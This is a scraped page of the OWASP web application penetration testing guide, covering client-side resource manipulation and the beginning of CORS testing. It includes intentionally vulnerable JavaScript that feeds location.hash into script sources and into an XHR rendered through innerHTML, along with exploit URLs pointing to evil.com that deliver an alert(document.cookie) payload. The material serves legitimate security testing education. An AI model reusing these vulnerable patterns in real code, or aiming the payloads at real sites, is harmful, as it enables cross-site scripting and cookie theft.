1BO4r2U
1BO4r2U
1BO4r2U
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
191 192<br />
Web Application Penetration Testing<br />
Web Application Penetration Testing<br />
dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf<br />
• Got Your Nose! How To Steal Your Precious Data Without<br />
Using Scripts, Mario Heiderich - http://www.youtube.com/<br />
watch?v=FIQvAaZj_HA<br />
• Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://<br />
ruxcon.org.au/assets/slides/CSP-kuza55.pptx<br />
Proof of Concepts<br />
• Password “cracker” via CSS and HTML5 - http://html5sec.org/invalid/?length=25<br />
• CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/<br />
Testing for Client Side Resource Manipulation<br />
(OTG-CLIENT-006)<br />
Summary<br />
A ClientSide Resource Manipulation vulnerability is an input validation<br />
flaw that occurs when an application accepts an user controlled<br />
input which specifies the path of a resource (for example the source<br />
of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically,<br />
such a vulnerability consists in the ability to control the URLs<br />
which link to some resources present in a web page. The impact may<br />
vary on the basis of the type of the element whose URL is controlled<br />
by the attacker, and it is usually adopted to conduct Cross-Site<br />
Scripting attacks.<br />
How to Test<br />
Such a vulnerability occurs when the application employs user controlled<br />
URLs for referencing external/internal resources. In these circumstances<br />
it is possible to interfere with the expected application’s<br />
behavior in the sense of making it load and render malicious objects.<br />
The following JavaScript code shows a possible vulnerable script<br />
in which the attacker is able to control the “location.hash” (source)<br />
which reaches the attribute “src” of a script element. This particular<br />
obviously leads XSS since an external JavaScript could be easily injected<br />
in the trusted web site.<br />
<br />
var d=document.createElement(“script”);<br />
if(location.hash.slice(1))<br />
d.src = location.hash.slice(1);<br />
document.body.appendChild(d);<br />
<br />
Specifically the attacker could target the victim by asking her to visit<br />
www.victim.com/#http:/evil.com/js.js<br />
the following URL:<br />
Where js.js contains:<br />
alert(document.cookie)<br />
Controlling scripts’ sources is a basic example, since some other<br />
interesting and more subtle cases can take place. A widespread<br />
scenario involves the possibility to control the URL called in a CORS<br />
request; since CORS allows the target resource to be accessible by<br />
the requesting domain through a header based approach, then the<br />
attacker may ask the target page to load malicious content loaded<br />
on its own web site.<br />
Refer to the following vulnerable code:<br />
<br />
<br />
function createCORSRequest(method, url) {<br />
var xhr = new XMLHttpRequest();<br />
xhr.open(method, url, true);<br />
xhr.onreadystatechange = function () {<br />
if (this.status == 200 && this.readyState == 4) {<br />
document.getElementById(‘p’).innerHTML = this.response-<br />
Text;<br />
}<br />
};<br />
return xhr;<br />
}<br />
var xhr = createCORSRequest(‘GET’, location.hash.slice(1));<br />
xhr.send(null);<br />
<br />
The “location.hash” is controlled by the attacker and it is used for requesting<br />
an external resource, which will be reflected through the<br />
construct “innerHTML”. Basically the attacker could ask the victim<br />
to visit the following URL and at the same time he could craft the<br />
payload handler.<br />
Exploit URL: www.victim.com/#http://evil.com/html.html<br />
http:/evil.com/html.html<br />
----<br />
<br />
alert(document.cookie);<br />
Black Box testing<br />
Black box testing for Client Side Resource Manipulation is not usually<br />
performed since access to the source code is always available as it<br />
needs to be sent to the client to be executed.<br />
Gray Box testing<br />
Testing for Client Side Resource Manipulation vulnerabilities:<br />
To manually check for this type of vulnerability we have to identify<br />
whether the application employs inputs without correctly validating<br />
them; these are under the control of the user which could be able<br />
to specify the url of some resources. Since there are many resources<br />
that could be included into the application (for example images,<br />
video, object, css, frames etc.), client side scripts which handle the<br />
associated URLs should be investigated for potential issues.<br />
The following table shows the possible injection points (sink)<br />
that should be checked:<br />
Resource<br />
Frame<br />
Link<br />
AJAX Request<br />
CSS<br />
Image<br />
Object<br />
Script<br />
Tag/Method<br />
iframe<br />
a<br />
xhr.open(method, [url], true);<br />
link<br />
img<br />
object<br />
script<br />
Sink<br />
src<br />
href<br />
URL<br />
src<br />
data<br />
The most interesting ones are those that allow to an attacker<br />
to include client side code (for example JavaScript) since it could<br />
lead to an XSS vulnerabilities.<br />
When trying to check for this kind of issues, consider that some<br />
characters are treated differently by different browsers. Moreover<br />
always consider the possibility to try absolute URLs variants<br />
as described here: http://kotowicz.net/absolute/<br />
Tools<br />
• DOMinator - https://dominator.mindedsecurity.com/<br />
href<br />
References<br />
OWASP Resources<br />
• DOM based XSS Prevention Cheat Sheet<br />
• DOMXSS.com - http://www.domxss.com<br />
• DOMXSS TestCase - http://www.domxss.com/domxss/01_<br />
Basics/04_script_src.html<br />
Whitepapers<br />
• DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/<br />
LocationSources<br />
• Krzysztof Kotowicz: “Local or External? Weird URL formats on<br />
the loose” - http://kotowicz.net/absolute/<br />
Test Cross Origin Resource Sharing<br />
(OTG-CLIENT-007)<br />
Summary<br />
Cross Origin Resource Sharing or CORS is a mechanism that enables<br />
a web browser to perform “cross-domain” requests using the XM-<br />
LHttpRequest L2 API in a controlled manner. In the past, the XM-<br />
LHttpRequest L1 API only allowed requests to be sent within the<br />
same origin as it was restricted by the same origin policy.<br />
Cross-Origin requests have an Origin header, that identifies the domain<br />
initiating the request and is always sent to the server. CORS<br />
defines the protocol to use between a web browser and a server<br />
to determine whether a cross-origin request is allowed. In order<br />
to accomplish this goal, there are a few HTTP headers involved in<br />
this process, that are supported by all major browsers and we will<br />
cover below including: Origin, Access-Control-Request-Method,<br />
Access-Control-Request-Headers, Access-Control-Allow-Origin,<br />
Access-Control-Allow-Credentials, Access-Control-Allow-Methods,<br />
Access-Control-Allow-Headers.<br />
The CORS specification mandates that for non simple requests,<br />
src<br />
such as requests other than GET or POST or requests that uses<br />
credentials, a pre-flight OPTIONS request must be sent in advance<br />
to check if the type of request will have a bad impact on the data.<br />
The pre-flight request checks the methods, headers allowed by<br />
the server, and if credentials are permitted, based on the result of<br />
the OPTIONS request, the browser decides whether the request<br />
is allowed or not.<br />
How to Test<br />
Origin & Access-Control-Allow-Origin<br />
The Origin header is always sent by the browser in a CORS request<br />
and indicates the origin of the request. The Origin header can not<br />
be changed from JavaScript however relying on this header for Access<br />
Control checks is not a good idea as it may be spoofed outside<br />
the browser, so you still need to check that application-level protocols<br />
are used to protect sensitive data.<br />
Access-Control-Allow-Origin is a response header used by a server<br />
to indicate which domains are allowed to read the response.<br />
Based on the CORS W3 Specification it is up to the client to determine<br />
and enforce the restriction of whether the client has access<br />
to the response data based on this header.<br />
From a penetration testing perspective you should look for insecure<br />
configurations as for example using a ‘*’ wildcard as value of<br />
the Access-Control-Allow-Origin header that means all domains<br />
are allowed. Other insecure example is when the server returns<br />
back the Origin header without any additional checks, what can<br />
lead to access of sensitive data. Note that this configuration is<br />
very insecure, and is not acceptable in general terms, except in the<br />
case of a public API that is intended to be accessible by everyone.<br />
Access-Control-Request-Method & Access-Control-Allow-Method<br />
The Access-Control-Request-Method header is used when a<br />
browser performs a preflight OPTIONS request and let the client<br />
indicate the request method of the final request. On the other<br />
hand, the Access-Control-Allow-Method is a response header<br />
used by the server to describe the methods the clients are allowed<br />
to use.<br />
Access-Control-Request-Headers & Access-Control-Allow-Headers<br />
These two headers are used between the browser and the server<br />
to determine which headers can be used to perform a cross-origin<br />
request.<br />
Access-Control-Allow-Credentials<br />
This header as part of a preflight request indicates that the final<br />
request can include user credentials.<br />
Input validation<br />
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating<br />
a cross-domain request using the XHR API for backwards<br />
compatibility. This can introduce security vulnerabilities that in<br />
XHR L1 were not present. Interesting points of the code to exploit<br />
would be URLs that are passed to XMLHttpRequest without validation,<br />
specially if absolute URLS are allowed because that could<br />
lead to code injection. Likewise, other part of the application that<br />
can be exploited is if the response data is not escaped and we can<br />
control it by providing user-supplied input.